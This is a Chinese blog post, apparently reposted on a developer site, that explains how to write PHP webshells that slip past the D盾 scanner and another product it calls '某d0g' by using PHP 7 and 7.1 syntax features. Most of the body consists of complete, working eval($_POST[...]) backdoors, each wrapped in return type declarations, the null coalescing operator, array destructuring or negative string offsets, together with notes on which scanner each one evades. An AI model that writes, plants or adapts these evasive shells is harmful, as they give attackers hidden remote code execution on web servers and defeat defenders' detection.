利用 PHP 新特性过静态查杀

栏目: IT技术 · 发布时间: 4年前

最近在研究 webshell 免杀,抽出心得的一个新颖的点。 原因是突然想到既然 php7.1 不能利用可变函数的assert,那就利用 php7 的新特性来绕过查杀正则,最终绕过某盾和“某d0g”。

实验环境在 7.1.9 ,所有马儿在 php 7以下的环境均不能使用。

D 盾规则库(最新): 20191227

某d0g因为可能会因为用其产品测试,导致侵权行为,为了防止被举报所以就不放图了。

前置实验

某盾

首先以下代码

<?php

$a='aaaa';

eval($a);

?

利用 PHP 新特性过静态查杀

直接误报了。

因此,直接传参到eval里面是不现实的。

所以接下来我们要 利用函数,配合php新特性 来绕过它。

某d0g

而对于某d0g,只要以下代码

$a=$_POST['b'];

eval($b)

就会让其误报。

因此在写免杀马的时候,post中的变量,不要出现在eval中的字符串中。就像上面`b`一样,尽管他在`eval`中是以变量的形式出现的。有了这个基础就可以进入正题了。

PHP7.0.x

[php手册-php7.0.x新特性]( https://www.php.net/manual/zh/migration70.new-features.php)

返回值类型申明

php7增加了返回值类型声明的支持,在定义函数时增加一个 `:类型`便可以了。

例如:

function a():int{

...

}

就是函数返回值类型要为int。否则会强制转换或者显示语法错误。

如果未更新此特性的查杀软件,就会不认识此函数,导致被绕过。

例如:

<?php

function b():string{

return $_POST['h3art3ars'];

}

eval(b());

?>

可以用查杀软件测试一下。

利用 PHP 新特性过静态查杀

发现没有被检测到。

利用 PHP 新特性过静态查杀

可以使用。

null合并运算符

由于日常使用中存在大量同时使用三元表达式和 `isset()`的情况, 添加了null合并运算符 (*??*) 这个语法糖。如果变量存在且值不为**`NULL`**, 它就会返回自身的值,否则返回它的第二个操作数

简单来说:

$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';

<=>

$a=$_POST['a']??'h3art3ars';

如果运用 `??`符号,查杀软件不会理解着个处理过程 ,可能就会导致绕过。

就像以下代码就可以绕过某d0g

<?php

$a=$b??$_POST['h3art3ars'];

eval($a);

?>

再利用函数调用一下

<?php

function a(){

$a=$b??$_POST['h3art3ars'];

return $a;

}

eval(a());

?>

利用 PHP 新特性过静态查杀

可以发现已经过了D盾

测试一下可用性

利用 PHP 新特性过静态查杀

接下来看看7.1的特性吧

php7.1.x

[php手册-php7.0.x新特性](  https://www.php.net/manual/zh/migration71.new-features.php  )

可为空(Nullable)类型

参数以及返回值的类型现在可以通过在类型前加上一个问号使之允许为空。当启用这个特性时,传入的参数或者函数返回的结果要么是给定的类型,要么是 null 。

比7.1的特性多了个 `?`函数返回值若不是给定类型,则为空。

使用同样的代码:

<?php

function a(): ?string

{

return $_POST['h3art3ars'];

}

eval(a());

?>

不出意外

利用 PHP 新特性过静态查杀

过了D盾

短数组语法

短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。

这里选用中括号 `[]类型`的列表来演示。

$a=['a','b'];

[$c,$d]=$a;

这样,就把数组的值分别赋给了` $c`,`$d`.`$c='a';$d='b';`

这样,就可以用这个少用的特性,来绕过静态查杀

首先写一个最简单的:

<?php

$a=['h3art3ars',$_POST['h3art3ars']];

[$c,$d]=$a;

eval($d);

?>

然后就过了某d0g。自行测试。

之后就可以配合函数。就像这样:

<?php

function a(){

$a=['h3art3ars',$_POST['h3art3ars']];

[$c,$d]=$a;

return $d;

}

eval(a());

?>

查杀一下

利用 PHP 新特性过静态查杀

测试可用性

利用 PHP 新特性过静态查杀

list()现在支持键名

官方说明:现在list()和它的新的[]语法支持在它内部去指定键名。这意味着它可以将任意类型的数组 都赋值给一些变量(与短数组语法类似)

这个很绕,看一下例子也许就会明白了。

eg:

$data = ["id" => 1, "name" => 'h3art3ars'];

["id" => $a, "name" => $b] = $data;

//结果$a=1,$b='h3art3ars'

稍微改改就能过某d0g(自行测试):

<?php

$a=[

"shell"=>'a',

"c"=>$_POST['h3art3ars'],

];

["shell"=>$c,"c"=>$b]=$a;

eval($b);

?>

试试D盾

利用 PHP 新特性过静态查杀

报了一级

再次借助自定义函数。

<?php

function a(){

$a=[

"shell"=>'a',

"c"=>$_POST['h3art3ars'],

];

["shell"=>$c,"c"=>$b]=$a;

return $b;

}

eval(a());

?>

利用 PHP 新特性过静态查杀

成功过D,测试可用性。

利用 PHP 新特性过静态查杀

支持为负的字符串偏移量

官方说明

现在所有支持偏移量的字符串操作函数 都支持接受负数作为偏移量,包括通过[]或{}操作字符串下标。在这种情况下,一个负数的偏移量理解为一个从字符串结尾开始的偏移量。

这个在小于7.1版本中,负的偏移量返回空字串。

eg:

<?php

$a="h3art3ars";

var_dump($a[-1]);

?>

7.1.x中返回 `s`,但是以前的版本中 返回 ` string(0) "" `

思路 我们可以这个拆分字符串,使规则识别不出来。 最后再配合php的可变变量:

<?php

$a="TSOP_";

$b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5];

$c=${"$b"}['h3art3ars'];

eval($c);

?>

这样就可以过某d0g了。但是对于D盾来说,会识别拼接字符,和可变变量。报一级`可疑文件`,不得不说这点做的确实很好。

其实还有很多特性,就像`通过define()定义常量数组`,也都可以举一反三去绕过。而且不止自定义函数,还可以配合类,可变变量等,来绕过静态查杀。

还可以利用 `太空船操作符 (组合比较符 )`,`整数除法函数 intdiv()`等来绕过动态查杀。

这里给D哥的规则库又能添加几条了。哈哈

参考

htps:// www.php.net/m anual/zh/migration71.new-features.php

https://www.php.net/man ual/zh/migration70.new- features.php#migration70.new-features.return-type-declarations

利用 PHP 新特性过静态查杀


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

基业长青

基业长青

[美] 詹姆斯·柯林斯、[美] 杰里·波勒斯 / 真如 / 中信出版社 / 2006-9 / 39.00元

如何建立一个伟大并长盛不衰的公司?有思想的人们早已经厌倦了“年度流行语”般稍纵即逝的管理概念,他们渴求获得能经受时间考验的管理思想。 柯林斯和波勒斯在斯坦福大学为期6年的研究项目中,选取了18个卓越非凡、长盛不衰的公司作了深入的研究,这些公司包括通用电气、3M、默克、沃尔玛、惠普、迪士尼等,它们平均拥有近百年的历史。是什么使这些公司不同于它们的竞争对手呢?他们拥有什么别的公司所不具有的法宝呢......一起来看看 《基业长青》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具